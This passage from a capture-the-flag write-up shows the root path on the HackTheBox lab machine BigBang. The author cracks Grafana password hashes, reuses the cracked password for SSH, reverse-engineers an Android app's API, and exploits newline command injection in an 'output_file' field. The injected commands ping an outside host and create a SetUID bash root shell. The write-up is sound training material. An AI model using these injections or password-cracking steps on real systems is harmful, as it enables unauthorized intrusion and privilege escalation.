root         583  0.0  0.4  32836 19500 ?        Ss   18:51   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root        1114  0.0  0.5 400076 22760 ?        Ssl  18:52   0:02 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        1768  0.0  1.7 246816 70320 ?        Ssl  18:52   0:02 /usr/bin/python3 /root/satellite/app.py

I’ll come back to this later.

Grafana

For port 3000, it returns a redirect to /login:

shawking@bigbang:~$ curl -v localhost:3000
*   Trying 127.0.0.1:3000...
* Connected to localhost (127.0.0.1) port 3000 (#0)
> GET / HTTP/1.1
> Host: localhost:3000
> User-Agent: curl/7.81.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Cache-Control: no-store
< Content-Type: text/html; charset=utf-8
< Location: /login
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Fri, 31 Jan 2025 19:56:10 GMT
< Content-Length: 29
< 
<a href="/login">Found</a>.

* Connection #0 to host localhost left intact

This is an instance of Grafana:

shawking@bigbang:~$ curl localhost:3000/login
<!DOCTYPE html>
<html lang="en-US">
  <head>

    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="viewport" content="width=device-width" />
    <meta name="theme-color" content="#000" />

    <title>Grafana</title>

    <base href="/" />
...[snip]...

The data for this setup is in /opt/data, and shawking has access:

shawking@bigbang:/opt/data$ ls
csv  grafana.db  pdf  plugins  png

Shell

Recover Password Hash

The grafana.db file in /opt/data is a SQLite DB:

shawking@bigbang:/opt/data$ file grafana.db 
grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 729, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 729

sqlite3 client isn’t installed on BigBang, so I’ll grab a copy of the DB with scp:

oxdf@hacky$ sshpass -p 'quantumphysics' scp shawking@bigbang.htb:/opt/data/grafana.db .

Disclaimer - I like to use sshpass to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.

There are many tables:

oxdf@hacky$ sqlite3 grafana.db 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alert                        library_element_connection 
alert_configuration          login_attempt              
alert_configuration_history  migration_log              
alert_image                  ngalert_configuration      
alert_instance               org                        
alert_notification           org_user                   
alert_notification_state     permission                 
alert_rule                   playlist                   
alert_rule_tag               playlist_item              
alert_rule_version           plugin_setting             
annotation                   preferences                
annotation_tag               provenance_type            
anon_device                  query_history              
api_key                      query_history_star         
builtin_role                 quota                      
cache_data                   role                       
cloud_migration              secrets                    
cloud_migration_run          seed_assignment            
correlation                  server_lock                
dashboard                    session                    
dashboard_acl                short_url                  
dashboard_provisioning       signing_key                
dashboard_public             sso_setting                
dashboard_snapshot           star                       
dashboard_tag                tag                        
dashboard_version            team                       
data_keys                    team_member                
data_source                  team_role                  
entity_event                 temp_user                  
file                         test_data                  
file_meta                    user                       
folder                       user_auth                  
kv_store                     user_auth_token            
library_element              user_role 

The user table seem most interesting:

sqlite> .headers on
sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled|is_service_account|uid
1|0|admin|admin@localhost||441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf|CgJll8Bmss||1|1|0||2024-06-05 16:14:51|2024-06-05 16:16:02|0|2024-06-05 16:16:02|0|0|
2|0|developer|ghubble@bigbang.htb|George Hubble|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv|0Whk1JNfa3||1|0|0||2024-06-05 16:17:32|2025-01-20 16:27:39|0|2025-01-20 16:27:19|0|0|ednvnl5nqhse8d

developer is a user!

Crack Hash

There’s no hashcat format that matches what’s in the Grafana DB. This repo has a script to generate hashcat hashes from the hash and salt from the DB. I’ll make a file with the hash and salt:

oxdf@hacky$ cat grafana_hashsalt 
441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34,CFn7zMsQpf
7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960,4umebBJucv

This script will generate hashes:

oxdf@hacky$ python /opt/grafana2hashcat/grafana2hashcat.py grafana_hashsalt -o grafanahashes

[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  grafana_hashsalt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[+] Writing output to 'grafanahashes' file.
[+] Now, you can run Hashcat with the following command, for example:

hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt

oxdf@hacky$ cat grafanahashes
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=

Now hashcat can break them:

$ hashcat grafanahashes_hashcat rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode 
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
                                                    
10900 | PBKDF2-HMAC-SHA256 | Generic KDF 
...[snip]...
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
...[snip]...

developers password in Grafana is bigbang.

su / SSH

The Grafana password is reused on the system:

shawking@bigbang:/opt/data$ su - developer
Password: 
developer@bigbang:~$

It works for SSH as well:

oxdf@hacky$ sshpass -p 'bigbang' ssh developer@bigbang.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)
...[snip]...
developer@bigbang:~$ 

Disclaimer - I like to use sshpass to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.

Shell as root

Enumeration

In developer’s home directory, there’s an android application:

developer@bigbang:~/android$ ls
satellite-app.apk

I’ll exfil a copy of it to my host with scp:

oxdf@hacky$ sshpass -p bigbang scp developer@bigbang.htb:~/android/*.apk .

Disclaimer - I like to use sshpass to pass passwords via the command line for CTF blog posts because it makes it very clear what I’m doing. Never enter real credentials into the command line like this.

APK Analysis

Run It

appetize.io is a nice site with a free account to upload and run Android applications. I’ll give it this app, and there’s a login page:

image-20250131174705653

If I give it creds and click “Log In”, it replies:

image-20250131174748448

This is almost certainly because it’s trying to contact BigBang, and has no route to it from Appetize on the internet. If I want to do further dynamic analysis, I’ll need to install an emulator (like Genymotion).

Overview

Before emulating it locally, I’ll load the APK into jadx-gui. It opens and in the sidebar:

image-20250131175116477

There’s a ton of folders under “Source code”:

image-20250131175241732

Clearly the file is obfuscated and broken up in to a ton of different things.

http Activity

I’ll use the Navigation –> Text search window to look for the string “http”:

image-20250131171653145Click for full size image

From just this, it’s clear that it connects to app.bigbang.htb:9090, and there are at least two endpoints, /login and /command.

It also looks like there’s a token sent as an Authorization header with the Bearer keyword.

Login

A lot of the activity in the strings search above takes place in u.AsyncTaskC0228f. The a function does a switch on an input to either send a POST request to /login or /command. The block for /login looks like:

image-20250131175746062Click for full size image

The body of the HTTP request seems to be passed in as a string. I’ll go to the top of the class and right click on the class name and select “Find Usage”:

image-20250131175910887

The result shows two interesting uses in e.ViewOnClickListenerC0096b:

image-20250131175954986

Jumping to the first one, it is creating a JSON string with “username” and “password” and sending it to the function above:

image-20250131180055574Click for full size image

Test Login

I’ll reconnect the SSH session as developer with -L 9090:localhost:9090 so that localhost on my machine tunnels to localhost on BigBang. I’ll add app.bigbang.htb to my /etc/hosts file:

127.0.0.1 app.bigbang.htb

Now I’ll try /login with curl:

oxdf@hacky$ curl app.bigbang.htb:9090/login -d '{"username": "0xdf", "password": "0xdf"}' -H "Content-Type: application/json"
{"error":"Bad username or password"}

I’ll see if developer has an account with the same password:

oxdf@hacky$ curl app.bigbang.htb:9090/login -d '{"username": "developer", "password": "bigbang"}' -H "Content-Type: application/json"
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM2NDYxMCwianRpIjoiZmI3NTgxMWMtYTIxNS00Mjc4LWE4MmYtZGRjOWU3ZmNjYTdlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM2NDYxMCwiY3NyZiI6ImQ5NTJiNzhiLTYzZmQtNDMxYS1hMGVhLTZkMjEzZGZkZDE1MiIsImV4cCI6MTczODM2ODIxMH0.LJmoRJRmD7FLUNRYg6j-YpCeURvwgYTxCW3Xr_ynwXE"}

That’s an access token! I’ll get a token to save in a variable for readability:

oxdf@hacky$ token=$(curl localhost:9090/login -d '{"username": "developer", "password": "bigbang"}' -H "Host: app.bigbang.htb" -H "Content-Type: application/json" -s | jq .access_token -r)

Move Command

Just below in the same ViewOnClickListenerC0096b file, there’s a block for the MoveCommandActivity:

image-20250131172859243

It seems to required a token, and a command of “move”, as well as “x”, “y”, and “z” values.

This is enough to play with as well. The command endpoint does require auth:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"test": "1"}' -H "Content-Type: application/json" -s
{"msg":"Missing Authorization Header"}

With a token, it must have the command parameter:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"test": "1"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Invalid command"}

I’ll give it “move”, as that’s in the code:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "move"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Invalid coordinates. Please provide numeric values for x, y, and z."}

It wants the coordinates. That works:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "move", "x": 1, "y": 2, "z": 3}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"status":"developer is moving to coordinates (1.0, 2.0, 3.0)"

I’ll try some command injection here, but nothing comes of it.

TakePictureActivity

Just after the MoveCommandActivity block, there’s one referencing TakePictureActivity:

image-20250131181114198Click for full size image

This one doesn’t set up JSON to call the same HTTP generating code. Searching for “TakePictureActivity” shows where this class is used:

image-20250131173022343Click for full size image

It’s actually the q0.b class from above. Going to the onPostExecute function, there is the code above it for the POST request:

image-20250131173055439Click for full size image

It takes a command of “send_image” and an “output_file”. I’ll try that and it errors out:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error generating image: "}

This app is supposed to be telling the satellite to take an image and then saving it. This error might come from the satellite.

Command Injection

Bad Characters

If I try to include a command injection in the output_file, it complains of bad characters:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png; id"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Output file path contains dangerous characters"}

I can fuzz with ffuf to look for a list of blocked characters, using -mr dangerous to show only responses with the blocked message:

oxdf@hacky$ ffuf -u http://app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.pngFUZZ"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token" -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -mr dangerous

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://app.bigbang.htb:9090/command
 :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt
 :: Header           : Content-Type: application/json
 :: Header           : Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODM3MTc1NCwianRpIjoiMzYyZjQ2NzAtODhhNS00NWQyLTlhNjEtZTJhNjAxZDY1NDViIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODM3MTc1NCwiY3NyZiI6ImQ2MjZmYWM2LTI0Y2EtNDk3NC04MDZkLWVhMmU1OTI5MTg2ZSIsImV4cCI6MTczODM3NTM1NH0.Z2_3JuJWlW8ZuxDKMVn4opXMPWYQQFbPxYwrR3lSXLo
 :: Data             : {"command": "send_image", "output_file": "test.pngFUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: dangerous
________________________________________________

*                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 191ms]
+                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 191ms]
'                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 220ms]
!                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 225ms]
%                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 226ms]
$                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 226ms]
)                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 220ms]
(                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 213ms]
>                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 260ms]
#                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 257ms]
&                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 295ms]
?                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 302ms]
;                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 310ms]
<                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 340ms]
[                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 234ms]
]                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 239ms]
^                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 242ms]
`                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 252ms]
{                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 180ms]
}                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 178ms]
|                       [Status: 400, Size: 59, Words: 6, Lines: 2, Duration: 186ms]
:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Newline Injection

In Python, with the subprocess.run command, if shell=True is set, then a newline will work to start a new command. For example:

oxdf@hacky$ python
Python 3.12.3 (main, Jan 17 2025, 18:03:48) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> subprocess.run("echo 'legit command'\nid", shell=True)
legit command
uid=1000(oxdf) gid=1000(oxdf) groups=1000(oxdf),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),117(lpadmin),984(docker),987(vboxsf)
CompletedProcess(args="echo 'legit command'\nid", returncode=0)

Both the echo and id were run there. I can try that here. As I don’t seem to be getting any output, I’ll try with a ping:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png\nping -c 1 10.10.14.6"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\nping -c 1 10.10.14.6'"}

On running, there’s ICMP at tcpdump:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
20:49:41.327708 IP 10.10.11.52 > 10.10.14.6: ICMP echo request, id 3, seq 1, length 64
20:49:41.327728 IP 10.10.14.6 > 10.10.11.52: ICMP echo reply, id 3, seq 1, length 64

That’s command injection.

Shell

I’ll inject again, this time to create a SetUID copy of bash:

oxdf@hacky$ curl app.bigbang.htb:9090/command -d '{"command": "send_image", "output_file": "test.png\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf"}' -H "Content-Type: application/json" -H "Authorization: Bearer $token"
{"error":"Error reading image file: [Errno 2] No such file or directory: 'test.png\\ncp /bin/bash /tmp/0xdf\\nchmod 6777 /tmp/0xdf'"}

It works to get a root shell:

developer@bigbang:~$ /tmp/0xdf -p
0xdf-5.1#

And the flag:

0xdf-5.1# cat root.txt
c3065984************************